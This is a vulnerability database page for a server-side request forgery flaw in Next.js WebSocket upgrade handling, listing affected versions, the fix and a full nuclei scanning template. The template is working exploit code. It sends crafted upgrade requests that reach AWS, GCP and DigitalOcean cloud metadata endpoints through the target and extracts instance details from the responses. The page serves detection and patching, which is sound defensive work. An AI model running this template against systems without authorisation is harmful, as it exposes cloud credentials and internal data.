HexBrain

Browse / CVEs / CVE-2026-44578

CVE-2026-44578· vercel / nextjs· CWE-918

Next.js WebSocket Upgrade Handler - SSRF

highseverity
8.6CVSS score
35.5%likelihood of exploitation, next 30 days
98%of all CVEs are less likely
Readycheck to confirm it

Next.js 13.4.13 to before 15.5.16 and 16.2.5 contains a server-side request forgery caused by crafted WebSocket upgrade requests in the built-in Node.js server, letting attackers proxy requests to arbitrary destinations, exploit requires self-hosted deployment.

Impact

Attackers can proxy requests to internal or external services, exposing sensitive internal resources or cloud metadata endpoints.

Fix

Upgrade to versions 15.5.16 or 16.2.5 or later.

How to confirm it

Positive when: contains(response, "\"droplet_id\"") and contains(response, "\"hostname\"") OR contains in response "ami-id" and "instance-id" OR contains(response, "\"machineType\"") and contains(response, "\"zone\"") and contains(response, "\"serviceAccounts\"") and contains(response, "\"networkInterfaces\"")

Run it with nuclei: nuclei -id CVE-2026-44578 -u <target>

The full check
id: CVE-2026-44578

info:
  name: Next.js WebSocket Upgrade Handler - SSRF
  author: hacktron,DhiyaneshDk
  severity: high
  description: |
    Next.js 13.4.13 to before 15.5.16 and 16.2.5 contains a server-side request forgery caused by crafted WebSocket upgrade requests in the built-in Node.js server, letting attackers proxy requests to arbitrary destinations, exploit requires self-hosted deployment.
  impact: |
    Attackers can proxy requests to internal or external services, exposing sensitive internal resources or cloud metadata endpoints.
  remediation: Upgrade to versions 15.5.16 or 16.2.5 or later.
  reference:
    - https://github.com/advisories/GHSA-c4j6-fc7j-m34r
    - https://nextjs.org/blog/next-15-5-16
    - https://app.hacktron.ai/disclosed/scans/web_dmVyY2VsL25leHQtanMtbWlycm9y_1774994038380_2hfQkCKG/findings/66f26e9e-a71f-4997-85be-a0b5fa3b7d89
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
    cvss-score: 8.6
    cve-id: CVE-2026-44578
    epss-score: 0.35539
    epss-percentile: 0.98468
    cwe-id: CWE-918
  metadata:
    verified: true
    max-request: 3
    vendor: vercel
    product: nextjs
    shodan-query: http.component:"Next.js"
  tags: cve,cve2026,nextjs,ssrf,websocket,cloud

javascript:
  - pre-condition: |
      isPortOpen(Host, TargetPort);

    args:
      Host: "{{Host}}"
      TargetPort: "{{Port}}"

    code: |
      let net = require('nuclei/net');

      function request(path, headers) {
        let conn = net.Open('tcp', Host + ':' + TargetPort);
        conn.SetTimeout(10);

        let payload =
          'GET ' + path + ' HTTP/1.1\r\n' +
          'Host: ' + Host + '\r\n' +
          'Connection: Upgrade\r\n' +
          'Upgrade: websocket\r\n' +
          'Sec-WebSocket-Version: 13\r\n' +
          'Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n' +
          headers +
          '\r\n';

        conn.Send(payload);

        let response = '';

        for (let i = 0; i < 10; i++) {
          try {
            let chunk = conn.RecvString();
            if (!chunk) break;
            response += chunk;
          } catch (e) {
            break;
          }
        }

        conn.Close();
        return response;
      }

      let response = '';

      response += request('http://169.254.169.254/metadata/v1.json', '');

      response += '\n---AWS---\n';
      response += request('http://169.254.169.254/latest/meta-data/', '');

      response += '\n---GCP---\n';
      response += request(
        'http://metadata.google.internal/computeMetadata/v1/instance/?recursive=true',
        'Metadata-Flavor: Google\r\n'
      );

      Export(response);

    matchers-condition: or
    matchers:
      - type: dsl
        name: digitalocean
        dsl:
          - 'contains(response, "\"droplet_id\"")'
          - 'contains(response, "\"hostname\"")'
        condition: and

      - type: word
        name: aws
        part: response
        words:
          - "ami-id"
          - "instance-id"
        condition: and

      - type: dsl
        name: gcp
        dsl:
          - 'contains(response, "\"machineType\"")'
          - 'contains(response, "\"zone\"")'
          - 'contains(response, "\"serviceAccounts\"")'
          - 'contains(response, "\"networkInterfaces\"")'
        condition: and

    extractors:
      - type: regex
        name: digitalocean-hostname
        part: response
        group: 1
        regex:
          - '"hostname"\s*:\s*"([^"]+)"'

      - type: regex
        name: aws-metadata-keys
        part: response
        regex:
          - '(ami-id|instance-id|instance-type|local-hostname|public-hostname)'


      - type: regex
        name: gcp-machine-type
        part: response
        group: 1
        regex:
          - '"machineType"\s*:\s*"([^"]+)"'

References

Use this check only on systems you are authorised to test. Where the data comes from